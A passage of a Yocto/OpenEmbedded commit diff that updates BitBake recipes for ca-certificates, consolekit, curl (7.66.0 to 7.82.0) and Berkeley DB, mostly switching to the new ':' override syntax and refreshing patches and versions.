-PACKAGE_WRITE_DEPS += "openssl-native debianutils-native"
-
-SRCREV = "c28799b138b044c963d24c4a69659b6e5486e3be"
-
-SRC_URI = "git://salsa.debian.org/debian/ca-certificates.git;protocol=https \
- file://0002-update-ca-certificates-use-SYSROOT.patch \
- file://0001-update-ca-certificates-don-t-use-Debianisms-in-run-p.patch \
- file://update-ca-certificates-support-Toybox.patch \
- file://default-sysroot.patch \
- file://sbindir.patch \
- file://0003-update-ca-certificates-use-relative-symlinks-from-ET.patch \
- file://0001-certdata2pem.py-use-python3.patch \
- "
-
-S = "${WORKDIR}/git"
-
-inherit allarch
-
-EXTRA_OEMAKE = "\
- 'CERTSDIR=${datadir}/ca-certificates' \
- 'SBINDIR=${sbindir}' \
-"
-
-do_compile_prepend() {
- oe_runmake clean
-}
-
-do_install () {
- install -d ${D}${datadir}/ca-certificates \
- ${D}${sysconfdir}/ssl/certs \
- ${D}${sysconfdir}/ca-certificates/update.d
- oe_runmake 'DESTDIR=${D}' install
-
- install -d ${D}${mandir}/man8
- install -m 0644 sbin/update-ca-certificates.8 ${D}${mandir}/man8/
-
- install -d ${D}${sysconfdir}
- {
- echo "# Lines starting with # will be ignored"
- echo "# Lines starting with ! will remove certificate on next update"
- echo "#"
- find ${D}${datadir}/ca-certificates -type f -name '*.crt' | \
- sed 's,^${D}${datadir}/ca-certificates/,,' | sort
- } >${D}${sysconfdir}/ca-certificates.conf
-}
-
-do_install_append_class-target () {
- sed -i -e 's,/etc/,${sysconfdir}/,' \
- -e 's,/usr/share/,${datadir}/,' \
- -e 's,/usr/local,${prefix}/local,' \
- ${D}${sbindir}/update-ca-certificates \
- ${D}${mandir}/man8/update-ca-certificates.8
-}
-
-pkg_postinst_${PN}_class-target () {
- SYSROOT="$D" $D${sbindir}/update-ca-certificates
-}
-
-CONFFILES_${PN} += "${sysconfdir}/ca-certificates.conf"
-
-# Rather than make a postinst script that works for both target and nativesdk,
-# we just run update-ca-certificate from do_install() for nativesdk.
-CONFFILES_${PN}_append_class-nativesdk = " ${sysconfdir}/ssl/certs/ca-certificates.crt"
-do_install_append_class-nativesdk () {
- SYSROOT="${D}${SDKPATHNATIVE}" ${D}${sbindir}/update-ca-certificates
-}
-
-do_install_append_class-native () {
- SYSROOT="${D}${base_prefix}" ${D}${sbindir}/update-ca-certificates
-}
-
-RDEPENDS_${PN}_class-target = "openssl-bin"
-RDEPENDS_${PN}_class-native = "openssl-native"
-RDEPENDS_${PN}_class-nativesdk = "nativesdk-openssl-bin"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/ca-certificates/ca-certificates_20211016.bb b/meta/recipes-support/ca-certificates/ca-certificates_20211016.bb
new file mode 100644
index 0000000000..99abe60613
--- /dev/null
+++ b/meta/recipes-support/ca-certificates/ca-certificates_20211016.bb
@@ -0,0 +1,89 @@
+SUMMARY = "Common CA certificates"
+DESCRIPTION = "This package includes PEM files of CA certificates to allow \
+SSL-based applications to check for the authenticity of SSL connections. \
+This derived from Debian's CA Certificates."
+HOMEPAGE = "http://packages.debian.org/sid/ca-certificates"
+SECTION = "misc"
+LICENSE = "GPL-2.0-or-later & MPL-2.0"
+LIC_FILES_CHKSUM = "file://debian/copyright;md5=ae5b36b514e3f12ce1aa8e2ee67f3d7e"
+
+# This is needed to ensure we can run the postinst at image creation time
+DEPENDS = ""
+DEPENDS:class-native = "openssl-native"
+DEPENDS:class-nativesdk = "openssl-native"
+# Need rehash from openssl and run-parts from debianutils
+PACKAGE_WRITE_DEPS += "openssl-native debianutils-native"
+
+SRCREV = "07de54fdcc5806bde549e1edf60738c6bccf50e8"
+
+SRC_URI = "git://salsa.debian.org/debian/ca-certificates.git;protocol=https;branch=master \
+ file://0002-update-ca-certificates-use-SYSROOT.patch \
+ file://0001-update-ca-certificates-don-t-use-Debianisms-in-run-p.patch \
+ file://default-sysroot.patch \
+ file://0003-update-ca-certificates-use-relative-symlinks-from-ET.patch \
+ file://0001-Revert-mozilla-certdata2pem.py-print-a-warning-for-e.patch \
+ "
+UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+)"
+
+S = "${WORKDIR}/git"
+
+inherit allarch
+
+EXTRA_OEMAKE = "\
+ 'CERTSDIR=${datadir}/ca-certificates' \
+ 'SBINDIR=${sbindir}' \
+"
+
+do_compile:prepend() {
+ oe_runmake clean
+}
+
+do_install () {
+ install -d ${D}${datadir}/ca-certificates \
+ ${D}${sysconfdir}/ssl/certs \
+ ${D}${sysconfdir}/ca-certificates/update.d
+ oe_runmake 'DESTDIR=${D}' install
+
+ install -d ${D}${mandir}/man8
+ install -m 0644 sbin/update-ca-certificates.8 ${D}${mandir}/man8/
+
+ install -d ${D}${sysconfdir}
+ {
+ echo "# Lines starting with # will be ignored"
+ echo "# Lines starting with ! will remove certificate on next update"
+ echo "#"
+ find ${D}${datadir}/ca-certificates -type f -name '*.crt' | \
+ sed 's,^${D}${datadir}/ca-certificates/,,' | sort
+ } >${D}${sysconfdir}/ca-certificates.conf
+}
+
+do_install:append:class-target () {
+ sed -i -e 's,/etc/,${sysconfdir}/,' \
+ -e 's,/usr/share/,${datadir}/,' \
+ -e 's,/usr/local,${prefix}/local,' \
+ ${D}${sbindir}/update-ca-certificates \
+ ${D}${mandir}/man8/update-ca-certificates.8
+}
+
+pkg_postinst:${PN}:class-target () {
+ SYSROOT="$D" $D${sbindir}/update-ca-certificates
+}
+
+CONFFILES:${PN} += "${sysconfdir}/ca-certificates.conf"
+
+# Rather than make a postinst script that works for both target and nativesdk,
+# we just run update-ca-certificate from do_install() for nativesdk.
+CONFFILES:${PN}:append:class-nativesdk = " ${sysconfdir}/ssl/certs/ca-certificates.crt"
+do_install:append:class-nativesdk () {
+ SYSROOT="${D}${SDKPATHNATIVE}" ${D}${sbindir}/update-ca-certificates
+}
+
+do_install:append:class-native () {
+ SYSROOT="${D}${base_prefix}" ${D}${sbindir}/update-ca-certificates
+}
+
+RDEPENDS:${PN}:append:class-target = " openssl-bin openssl"
+RDEPENDS:${PN}:append:class-native = " openssl-native"
+RDEPENDS:${PN}:append:class-nativesdk = " nativesdk-openssl-bin nativesdk-openssl"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/consolekit/consolekit_0.4.6.bb b/meta/recipes-support/consolekit/consolekit_0.4.6.bb
index a17f739d4d..346bd60e4d 100644
--- a/meta/recipes-support/consolekit/consolekit_0.4.6.bb
+++ b/meta/recipes-support/consolekit/consolekit_0.4.6.bb
@@ -1,15 +1,17 @@
SUMMARY = "Framework for defining and tracking users, login sessions, and seats"
+DESCRIPTION = "It provides a mechanism for software to react to changes \
+of any of these items or of any of the metadata associated with them."
HOMEPAGE = "http://www.freedesktop.org/wiki/Software/ConsoleKit"
BUGTRACKER = "https://bugs.freedesktop.org/buglist.cgi?query_format=specific&product=ConsoleKit"
-LICENSE = "GPLv2+"
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552 \
file://src/main.c;endline=21;md5=0a994e09769780220163255d8f9071c3"
DEPENDS = "glib-2.0 glib-2.0-native dbus dbus-glib virtual/libx11"
-RDEPENDS_${PN} += "base-files"
+RDEPENDS:${PN} += "base-files"
-inherit autotools pkgconfig distro_features_check
+inherit autotools pkgconfig features_check
# depends on virtual/libx11
REQUIRED_DISTRO_FEATURES = "x11"
@@ -27,17 +29,17 @@ PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'pam systemd polkit', d
PACKAGECONFIG[pam] = "--enable-pam-module --with-pam-module-dir=${base_libdir}/security,--disable-pam-module,libpam"
PACKAGECONFIG[polkit] = "--with-polkit,--without-polkit,polkit"
-PACKAGECONFIG[systemd] = "--with-systemdsystemunitdir=${systemd_unitdir}/system/,--with-systemdsystemunitdir="
+PACKAGECONFIG[systemd] = "--with-systemdsystemunitdir=${systemd_system_unitdir}/,--with-systemdsystemunitdir="
-FILES_${PN} += "${exec_prefix}/lib/ConsoleKit \
+FILES:${PN} += "${exec_prefix}/lib/ConsoleKit \
${libdir}/ConsoleKit ${systemd_unitdir} ${base_libdir} \
${datadir}/dbus-1 ${datadir}/PolicyKit ${datadir}/polkit*"
PACKAGES =+ "pam-plugin-ck-connector"
-FILES_pam-plugin-ck-connector += "${base_libdir}/security/*.so"
-RDEPENDS_pam-plugin-ck-connector += "${PN}"
+FILES:pam-plugin-ck-connector += "${base_libdir}/security/*.so"
+RDEPENDS:pam-plugin-ck-connector += "${PN}"
-do_install_append() {
+do_install:append() {
if ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'true', 'false', d)}; then
install -d ${D}${sysconfdir}/tmpfiles.d
echo "d ${localstatedir}/log/ConsoleKit - - - -" \
diff --git a/meta/recipes-support/curl/curl/0001-replace-krb5-config-with-pkg-config.patch b/meta/recipes-support/curl/curl/0001-replace-krb5-config-with-pkg-config.patch
deleted file mode 100644
index a7db1b3c9e..0000000000
--- a/meta/recipes-support/curl/curl/0001-replace-krb5-config-with-pkg-config.patch
+++ /dev/null
@@ -1,44 +0,0 @@
-From ed70f0623708b8a6c1f58a5d243d87c5ff45b24d Mon Sep 17 00:00:00 2001
-From: Roy Li <rongqing.li@windriver.com>
-Date: Tue, 26 Apr 2016 13:13:01 +0800
-Subject: [PATCH] replace krb5-config with pkg-config
-
-Upstream-Status: Pending
-
-Signed-off-by: Roy Li <rongqing.li@windriver.com>
-
----
- configure.ac | 6 +++---
- 1 file changed, 3 insertions(+), 3 deletions(-)
-
-diff --git a/configure.ac b/configure.ac
-index 5569a26..56b0380 100755
---- a/configure.ac
-+++ b/configure.ac
-@@ -1290,7 +1290,7 @@ AC_ARG_WITH(gssapi,
- fi
- ])
-
--: ${KRB5CONFIG:="$GSSAPI_ROOT/bin/krb5-config"}
-+KRB5CONFIG=`which pkg-config`
-
- save_CPPFLAGS="$CPPFLAGS"
- AC_MSG_CHECKING([if GSS-API support is requested])
-@@ -1301,7 +1301,7 @@ if test x"$want_gss" = xyes; then
- if test -n "$host_alias" -a -f "$GSSAPI_ROOT/bin/$host_alias-krb5-config"; then
- GSSAPI_INCS=`$GSSAPI_ROOT/bin/$host_alias-krb5-config --cflags gssapi`
- elif test -f "$KRB5CONFIG"; then
-- GSSAPI_INCS=`$KRB5CONFIG --cflags gssapi`
-+ GSSAPI_INCS=`$KRB5CONFIG --cflags mit-krb5-gssapi`
- elif test "$GSSAPI_ROOT" != "yes"; then
- GSSAPI_INCS="-I$GSSAPI_ROOT/include"
- fi
-@@ -1394,7 +1394,7 @@ if test x"$want_gss" = xyes; then
- elif test -f "$KRB5CONFIG"; then
- dnl krb5-config doesn't have --libs-only-L or similar, put everything
- dnl into LIBS
-- gss_libs=`$KRB5CONFIG --libs gssapi`
-+ gss_libs=`$KRB5CONFIG --libs mit-krb5-gssapi`
- LIBS="$gss_libs $LIBS"
- else
- case $host in
diff --git a/meta/recipes-support/curl/curl_7.66.0.bb b/meta/recipes-support/curl/curl_7.66.0.bb
deleted file mode 100644
index d1975f2460..0000000000
--- a/meta/recipes-support/curl/curl_7.66.0.bb
+++ /dev/null
@@ -1,80 +0,0 @@
-SUMMARY = "Command line tool and library for client-side URL transfers"
-HOMEPAGE = "http://curl.haxx.se/"
-BUGTRACKER = "http://curl.haxx.se/mail/list.cgi?list=curl-tracker"
-SECTION = "console/network"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=be5d9e1419c4363f4b32037a2d3b7ffa"
-
-SRC_URI = "http://curl.haxx.se/download/curl-${PV}.tar.bz2 \
- file://0001-replace-krb5-config-with-pkg-config.patch \
-"
-
-SRC_URI[md5sum] = "c238aa394e3aa47ca4fcb0491774149f"
-SRC_URI[sha256sum] = "6618234e0235c420a21f4cb4c2dd0badde76e6139668739085a70c4e2fe7a141"
-
-CVE_PRODUCT = "curl libcurl"
-inherit autotools pkgconfig binconfig multilib_header
-
-PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)} gnutls libidn proxy threaded-resolver verbose zlib"
-PACKAGECONFIG_class-native = "ipv6 proxy ssl threaded-resolver verbose zlib"
-PACKAGECONFIG_class-nativesdk = "ipv6 proxy ssl threaded-resolver verbose zlib"
-
-# 'ares' and 'threaded-resolver' are mutually exclusive
-PACKAGECONFIG[ares] = "--enable-ares,--disable-ares,c-ares"
-PACKAGECONFIG[brotli] = "--with-brotli,--without-brotli,brotli"
-PACKAGECONFIG[builtinmanual] = "--enable-manual,--disable-manual"
-PACKAGECONFIG[dict] = "--enable-dict,--disable-dict,"
-PACKAGECONFIG[gnutls] = "--with-gnutls,--without-gnutls,gnutls"
-PACKAGECONFIG[gopher] = "--enable-gopher,--disable-gopher,"
-PACKAGECONFIG[imap] = "--enable-imap,--disable-imap,"
-PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
-PACKAGECONFIG[krb5] = "--with-gssapi,--without-gssapi,krb5"
-PACKAGECONFIG[ldap] = "--enable-ldap,--disable-ldap,"
-PACKAGECONFIG[ldaps] = "--enable-ldaps,--disable-ldaps,"
-PACKAGECONFIG[libidn] = "--with-libidn2,--without-libidn2,libidn2"
-PACKAGECONFIG[libssh2] = "--with-libssh2,--without-libssh2,libssh2"
-PACKAGECONFIG[mbedtls] = "--with-mbedtls=${STAGING_DIR_TARGET},--without-mbedtls,mbedtls"
-PACKAGECONFIG[nghttp2] = "--with-nghttp2,--without-nghttp2,nghttp2"
-PACKAGECONFIG[pop3] = "--enable-pop3,--disable-pop3,"
-PACKAGECONFIG[proxy] = "--enable-proxy,--disable-proxy,"
-PACKAGECONFIG[rtmpdump] = "--with-librtmp,--without-librtmp,rtmpdump"
-PACKAGECONFIG[rtsp] = "--enable-rtsp,--disable-rtsp,"
-PACKAGECONFIG[smb] = "--enable-smb,--disable-smb,"
-PACKAGECONFIG[smtp] = "--enable-smtp,--disable-smtp,"
-PACKAGECONFIG[ssl] = "--with-ssl --with-random=/dev/urandom,--without-ssl,openssl"
-PACKAGECONFIG[nss] = "--with-nss,--without-nss,nss"
-PACKAGECONFIG[telnet] = "--enable-telnet,--disable-telnet,"
-PACKAGECONFIG[tftp] = "--enable-tftp,--disable-tftp,"
-PACKAGECONFIG[threaded-resolver] = "--enable-threaded-resolver,--disable-threaded-resolver"
-PACKAGECONFIG[verbose] = "--enable-verbose,--disable-verbose"
-PACKAGECONFIG[zlib] = "--with-zlib=${STAGING_LIBDIR}/../,--without-zlib,zlib"
-
-EXTRA_OECONF = " \
- --disable-libcurl-option \
- --disable-ntlm-wb \
- --enable-crypto-auth \
- --with-ca-bundle=${sysconfdir}/ssl/certs/ca-certificates.crt \
- --without-libmetalink \
- --without-libpsl \
-"
-
-do_install_append_class-target() {
- # cleanup buildpaths from curl-config
- sed -i \
- -e 's,--sysroot=${STAGING_DIR_TARGET},,g' \
- -e 's,--with-libtool-sysroot=${STAGING_DIR_TARGET},,g' \
- -e 's|${DEBUG_PREFIX_MAP}||g' \
- ${D}${bindir}/curl-config
-}
-
-PACKAGES =+ "lib${BPN}"
-
-FILES_lib${BPN} = "${libdir}/lib*.so.*"
-RRECOMMENDS_lib${BPN} += "ca-certificates"
-
-FILES_${PN} += "${datadir}/zsh"
-
-inherit multilib_script
-MULTILIB_SCRIPTS = "${PN}-dev:${bindir}/curl-config"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/curl/curl_7.82.0.bb b/meta/recipes-support/curl/curl_7.82.0.bb
new file mode 100644
index 0000000000..23bd7eaa52
--- /dev/null
+++ b/meta/recipes-support/curl/curl_7.82.0.bb
@@ -0,0 +1,93 @@
+SUMMARY = "Command line tool and library for client-side URL transfers"
+DESCRIPTION = "It uses URL syntax to transfer data to and from servers. \
+curl is a widely used because of its ability to be flexible and complete \
+complex tasks. For example, you can use curl for things like user authentication, \
+HTTP post, SSL connections, proxy support, FTP uploads, and more!"
+HOMEPAGE = "https://curl.se/"
+BUGTRACKER = "https://github.com/curl/curl/issues"
+SECTION = "console/network"
+LICENSE = "MIT-open-group"
+LIC_FILES_CHKSUM = "file://COPYING;md5=190c514872597083303371684954f238"
+
+SRC_URI = "https://curl.se/download/${BP}.tar.xz"
+SRC_URI[sha256sum] = "0aaa12d7bd04b0966254f2703ce80dd5c38dbbd76af0297d3d690cdce58a583c"
+
+# Curl has used many names over the years...
+CVE_PRODUCT = "haxx:curl haxx:libcurl curl:curl curl:libcurl libcurl:libcurl daniel_stenberg:curl"
+
+inherit autotools pkgconfig binconfig multilib_header
+
+# Entropy source for random PACKAGECONFIG option
+RANDOM ?= "/dev/urandom"
+
+PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)} libidn openssl proxy random threaded-resolver verbose zlib"
+PACKAGECONFIG:class-native = "ipv6 openssl proxy random threaded-resolver verbose zlib"
+PACKAGECONFIG:class-nativesdk = "ipv6 openssl proxy random threaded-resolver verbose zlib"
+
+# 'ares' and 'threaded-resolver' are mutually exclusive
+PACKAGECONFIG[ares] = "--enable-ares,--disable-ares,c-ares,,,threaded-resolver"
+PACKAGECONFIG[brotli] = "--with-brotli,--without-brotli,brotli"
+PACKAGECONFIG[builtinmanual] = "--enable-manual,--disable-manual"
+PACKAGECONFIG[dict] = "--enable-dict,--disable-dict,"
+PACKAGECONFIG[gnutls] = "--with-gnutls,--without-gnutls,gnutls"
+PACKAGECONFIG[gopher] = "--enable-gopher,--disable-gopher,"
+PACKAGECONFIG[imap] = "--enable-imap,--disable-imap,"
+PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
+PACKAGECONFIG[krb5] = "--with-gssapi,--without-gssapi,krb5"
+PACKAGECONFIG[ldap] = "--enable-ldap,--disable-ldap,"
+PACKAGECONFIG[ldaps] = "--enable-ldaps,--disable-ldaps,"
+PACKAGECONFIG[libgsasl] = "--with-libgsasl,--without-libgsasl,libgsasl"
+PACKAGECONFIG[libidn] = "--with-libidn2,--without-libidn2,libidn2"
+PACKAGECONFIG[libssh2] = "--with-libssh2,--without-libssh2,libssh2"
+PACKAGECONFIG[mbedtls] = "--with-mbedtls=${STAGING_DIR_TARGET},--without-mbedtls,mbedtls"
+PACKAGECONFIG[mqtt] = "--enable-mqtt,--disable-mqtt,"
+PACKAGECONFIG[nghttp2] = "--with-nghttp2,--without-nghttp2,nghttp2"
+PACKAGECONFIG[openssl] = "--with-openssl,--without-openssl,openssl"
+PACKAGECONFIG[pop3] = "--enable-pop3,--disable-pop3,"
+PACKAGECONFIG[proxy] = "--enable-proxy,--disable-proxy,"
+PACKAGECONFIG[random] = "--with-random=${RANDOM},--without-random"
+PACKAGECONFIG[rtmpdump] = "--with-librtmp,--without-librtmp,rtmpdump"
+PACKAGECONFIG[rtsp] = "--enable-rtsp,--disable-rtsp,"
+PACKAGECONFIG[smb] = "--enable-smb,--disable-smb,"
+PACKAGECONFIG[smtp] = "--enable-smtp,--disable-smtp,"
+PACKAGECONFIG[nss] = "--with-nss,--without-nss,nss"
+PACKAGECONFIG[telnet] = "--enable-telnet,--disable-telnet,"
+PACKAGECONFIG[tftp] = "--enable-tftp,--disable-tftp,"
+PACKAGECONFIG[threaded-resolver] = "--enable-threaded-resolver,--disable-threaded-resolver,,,,ares"
+PACKAGECONFIG[verbose] = "--enable-verbose,--disable-verbose"
+PACKAGECONFIG[zlib] = "--with-zlib=${STAGING_LIBDIR}/../,--without-zlib,zlib"
+PACKAGECONFIG[zstd] = "--with-zstd,--without-zstd,zstd"
+
+EXTRA_OECONF = " \
+ --disable-libcurl-option \
+ --disable-ntlm-wb \
+ --enable-crypto-auth \
+ --with-ca-bundle=${sysconfdir}/ssl/certs/ca-certificates.crt \
+ --without-libpsl \
+ --enable-debug \
+ --enable-optimize \
+ --disable-curldebug \
+ ${@'--without-ssl' if (bb.utils.filter('PACKAGECONFIG', 'gnutls mbedtls nss openssl', d) == '') else ''} \
+"
+
+do_install:append:class-target() {
+ # cleanup buildpaths from curl-config
+ sed -i \
+ -e 's,--sysroot=${STAGING_DIR_TARGET},,g' \
+ -e 's,--with-libtool-sysroot=${STAGING_DIR_TARGET},,g' \
+ -e 's|${DEBUG_PREFIX_MAP}||g' \
+ -e 's|${@" ".join(d.getVar("DEBUG_PREFIX_MAP").split())}||g' \
+ ${D}${bindir}/curl-config
+}
+
+PACKAGES =+ "lib${BPN}"
+
+FILES:lib${BPN} = "${libdir}/lib*.so.*"
+RRECOMMENDS:lib${BPN} += "ca-certificates"
+
+FILES:${PN} += "${datadir}/zsh"
+
+inherit multilib_script
+MULTILIB_SCRIPTS = "${PN}-dev:${bindir}/curl-config"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/db/db/0001-Fix-libc-compatibility-by-renaming-atomic_init-API.patch b/meta/recipes-support/db/db/0001-Fix-libc-compatibility-by-renaming-atomic_init-API.patch
index a4ff2ecb0c..c82e7c375f 100644
--- a/meta/recipes-support/db/db/0001-Fix-libc-compatibility-by-renaming-atomic_init-API.patch
+++ b/meta/recipes-support/db/db/0001-Fix-libc-compatibility-by-renaming-atomic_init-API.patch
@@ -7,7 +7,7 @@ db5 does not build because it is redefining a C++11 standard
library identifier, atomic_init(). Therefore prefix all
its internal defines with '__db_', to avoid collisions.
-Upstream-Status: Pending
+Upstream-Status: Inappropriate [as far as open source community is concerned, upstream is dead]
Signed-off-by: Khem Raj <raj.khem@gmail.com>
---
diff --git a/meta/recipes-support/db/db/0001-atomic-Rename-local-__atomic_compare_exchange-to-avo.patch b/meta/recipes-support/db/db/0001-atomic-Rename-local-__atomic_compare_exchange-to-avo.patch
index 571708e03e..2374885e77 100644
--- a/meta/recipes-support/db/db/0001-atomic-Rename-local-__atomic_compare_exchange-to-avo.patch
+++ b/meta/recipes-support/db/db/0001-atomic-Rename-local-__atomic_compare_exchange-to-avo.patch
@@ -11,7 +11,7 @@ Fixes
../db-5.3.28/src/dbinc/atomic.h:179:19: error: definition of builtin function '__atomic_compare_exchange'
static inline int __atomic_compare_exchange(
-Upstream-Status: Pending
+Upstream-Status: Inappropriate [as far as open source community is concerned, upstream is dead]
Signed-off-by: Khem Raj <raj.khem@gmail.com>
---
diff --git a/meta/recipes-support/db/db/0001-clock-Do-not-define-own-timespec.patch b/meta/recipes-support/db/db/0001-clock-Do-not-define-own-timespec.patch
new file mode 100644
index 0000000000..d238b0f063
--- /dev/null
+++ b/meta/recipes-support/db/db/0001-clock-Do-not-define-own-timespec.patch
@@ -0,0 +1,45 @@
+From 96b303caf70a7635953c36e5bfb9ad6e75cb7637 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Fri, 14 Feb 2020 14:12:59 -0800
+Subject: [PATCH] clock: Do not define own timespec
+
+timespec is provided by libc and its best left to libc
+os_gettime takes a db_timespec and passed its address to clock_gettime
+which assumes that db_timespec and timespec are same but actually
+its 12-bytes here and libc has 16-bytes
+
+This can cause problems especially with 64bit time_t
+
+Upstream-Status: Inappropriate [as far as open source community is concerned, upstream is dead]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ src/dbinc/clock.h | 17 +----------------
+ 1 file changed, 1 insertion(+), 16 deletions(-)
+
+--- a/src/dbinc/clock.h
++++ b/src/dbinc/clock.h
+@@ -44,22 +44,8 @@
+ extern "C" {
+ #endif
+
+-/*
+- * This declaration is POSIX-compatible. Because there are lots of different
+- * time.h include file patterns out there, it's easier to declare our own name
+- * in all cases than to try and discover if a system has a struct timespec.
+- * For the same reason, and because we'd have to #include <sys/time.h> in db.h,
+- * we don't export any timespec structures in the DB API, even in places where
+- * it would make sense, like the replication statistics information.
+- */
+-typedef struct {
+- time_t tv_sec; /* seconds */
+-#ifdef HAVE_MIXED_SIZE_ADDRESSING
+- int32_t tv_nsec;
+-#else
+- long tv_nsec; /* nanoseconds */
+-#endif
+-} db_timespec;
++#include <time.h>
++#define db_timespec struct timespec
+
+ /* Operations on timespecs */
+ #undef timespecclear
diff --git a/meta/recipes-support/db/db/0001-configure-Add-explicit-tag-options-to-libtool-invoca.patch b/meta/recipes-support/db/db/0001-configure-Add-explicit-tag-options-to-libtool-invoca.patch
index cb28db1343..a574cf67b9 100644
--- a/meta/recipes-support/db/db/0001-configure-Add-explicit-tag-options-to-libtool-invoca.patch
+++ b/meta/recipes-support/db/db/0001-configure-Add-explicit-tag-options-to-libtool-invoca.patch
@@ -7,7 +7,7 @@ This helps cross compile when tag inference via heuristics
fail because CC variable is having -fPIE -pie and libtool
smartly removes it when building libraries
-Upstream-Status: Pending
+Upstream-Status: Inappropriate [as far as open source community is concerned, upstream is dead]
Signed-off-by: Khem Raj <raj.khem@gmail.com>
---
diff --git a/meta/recipes-support/db/db/fix-parallel-build.patch b/meta/recipes-support/db/db/fix-parallel-build.patch
index 27632e1ddb..42c2407cf2 100644
--- a/meta/recipes-support/db/db/fix-parallel-build.patch
+++ b/meta/recipes-support/db/db/fix-parallel-build.patch
@@ -2,7 +2,7 @@ With higher paralelism it sometimes fails with:
libtool: link: `util_log.lo' is not a valid libtool object
make: *** [db_replicate] Error 1
-Upstream-Status: Pending
+Upstream-Status: Inappropriate [as far as open source community is concerned, upstream is dead]
Signed-off-by: Martin Jansa <Martin.Jansa@gmail.com>
diff --git a/meta/recipes-support/db/db/sequence-type.patch b/meta/recipes-support/db/db/sequence-type.patch
index a6fe3d62a0..fc9f7f0113 100644
--- a/meta/recipes-support/db/db/sequence-type.patch
+++ b/meta/recipes-support/db/db/sequence-type.patch
@@ -6,7 +6,7 @@ in stdint.h.
This then breaks the overly complicated type check but as we know that int64_t
exists and works, we can just delete that.
-Upstream-Status: Pending
+Upstream-Status: Inappropriate [as far as open source community is concerned, upstream is dead]
Signed-off-by: Ross Burton <ross.burton@intel.com>
--- a/dist/aclocal/sequence.m4~ 2013-09-09 16:35:02.000000000 +0100
diff --git a/meta/recipes-support/db/db_5.3.28.bb b/meta/recipes-support/db/db_5.3.28.bb
index 761d80c2fd..c5427f54eb 100644
--- a/meta/recipes-support/db/db_5.3.28.bb
+++ b/meta/recipes-support/db/db_5.3.28.bb
@@ -10,22 +10,24 @@
# same system at the same time if really necessary.
SECTION = "libs"
SUMMARY = "Berkeley Database v5"
-HOMEPAGE = "http://www.oracle.com/technetwork/database/database-technologies/berkeleydb/overview/index.html"
+DESCRIPTION = "Provides the foundational storage services for your application, no matter how demanding and unique your requirements may seem to be"
+HOMEPAGE = "https://www.oracle.com/database/technologies/related/berkeleydb.html"
LICENSE = "Sleepycat"
-RCONFLICTS_${PN} = "db3"
+RCONFLICTS:${PN} = "db3"
-CVE_PRODUCT = "oracle_berkeley_db"
+CVE_PRODUCT = "oracle_berkeley_db berkeley_db"
CVE_VERSION = "11.2.${PV}"
PR = "r1"
PE = "1"
-SRC_URI = "http://download.oracle.com/berkeley-db/db-${PV}.tar.gz"
+SRC_URI = "https://download.oracle.com/berkeley-db/db-${PV}.tar.gz"
SRC_URI += "file://fix-parallel-build.patch \
file://0001-atomic-Rename-local-__atomic_compare_exchange-to-avo.patch \
file://0001-configure-Add-explicit-tag-options-to-libtool-invoca.patch \
file://sequence-type.patch \
file://0001-Fix-libc-compatibility-by-renaming-atomic_init-API.patch \
+ file://0001-clock-Do-not-define-own-timespec.patch \
"
# We are not interested in official latest 6.x versions;
# let's track what debian is using.
@@ -45,7 +47,7 @@ inherit autotools
inherit lib_package
PACKAGES =+ "${PN}-cxx"
-FILES_${PN}-cxx = "${libdir}/*cxx*so"
+FILES:${PN}-cxx = "${libdir}/*cxx*so"
# The dev package has the .so link (as in db3) and the .a's -
# it is therefore incompatible (cannot be installed at the
@@ -60,9 +62,9 @@ DB5_CONFIG ?= "--enable-o_direct --disable-cryptography --disable-queue --disabl
EXTRA_OECONF = "${DB5_CONFIG} --enable-shared --enable-cxx --with-sysroot STRIP=true"
+PACKAGECONFIG ??= ""
PACKAGECONFIG[verify] = "--enable-verify, --disable-verify"
-
-EXTRA_OEMAKE += "LIBTOOL='./${HOST_SYS}-libtool'"
+PACKAGECONFIG[dbm] = "--enable-dbm,--disable-dbm,"
EXTRA_AUTORECONF += "--exclude=autoheader -I ${S}/dist/aclocal -I${S}/dist/aclocal_java"
AUTOTOOLS_SCRIPT_PATH = "${S}/dist"
@@ -71,7 +73,7 @@ AUTOTOOLS_SCRIPT_PATH = "${S}/dist"
# configure.
CONFIG_SITE = ""
-oe_runconf_prepend() {
+oe_runconf:prepend() {
. ${S}/dist/RELEASE
# Edit version information we couldn't pre-compute.
sed -i -e "s/__EDIT_DB_VERSION_FAMILY__/$DB_VERSION_FAMILY/g" \
@@ -85,12 +87,12 @@ oe_runconf_prepend() {
-e "s/__EDIT_DB_VERSION__/$DB_VERSION/g" ${S}/dist/configure
}
-do_compile_prepend() {
+do_compile:prepend() {
# Stop libtool adding RPATHs
- sed -i -e 's|hardcode_into_libs=yes|hardcode_into_libs=no|' ${B}/${HOST_SYS}-libtool
+ sed -i -e 's|hardcode_into_libs=yes|hardcode_into_libs=no|' ${B}/libtool
}
-do_install_append() {
+do_install:append() {
mkdir -p ${D}/${includedir}/db51
mv ${D}/${includedir}/db.h ${D}/${includedir}/db51/.
mv ${D}/${includedir}/db_cxx.h ${D}/${includedir}/db51/.
@@ -106,9 +108,12 @@ do_install_append() {
fi
chown -R root:root ${D}
+ if ${@bb.utils.contains('PACKAGECONFIG', 'verify', 'false', 'true', d)}; then
+ rm -f ${D}${bindir}/db_verify
+ fi
}
-INSANE_SKIP_${PN} = "dev-so"
-INSANE_SKIP_${PN}-cxx = "dev-so"
+INSANE_SKIP:${PN} = "dev-so"
+INSANE_SKIP:${PN}-cxx = "dev-so"
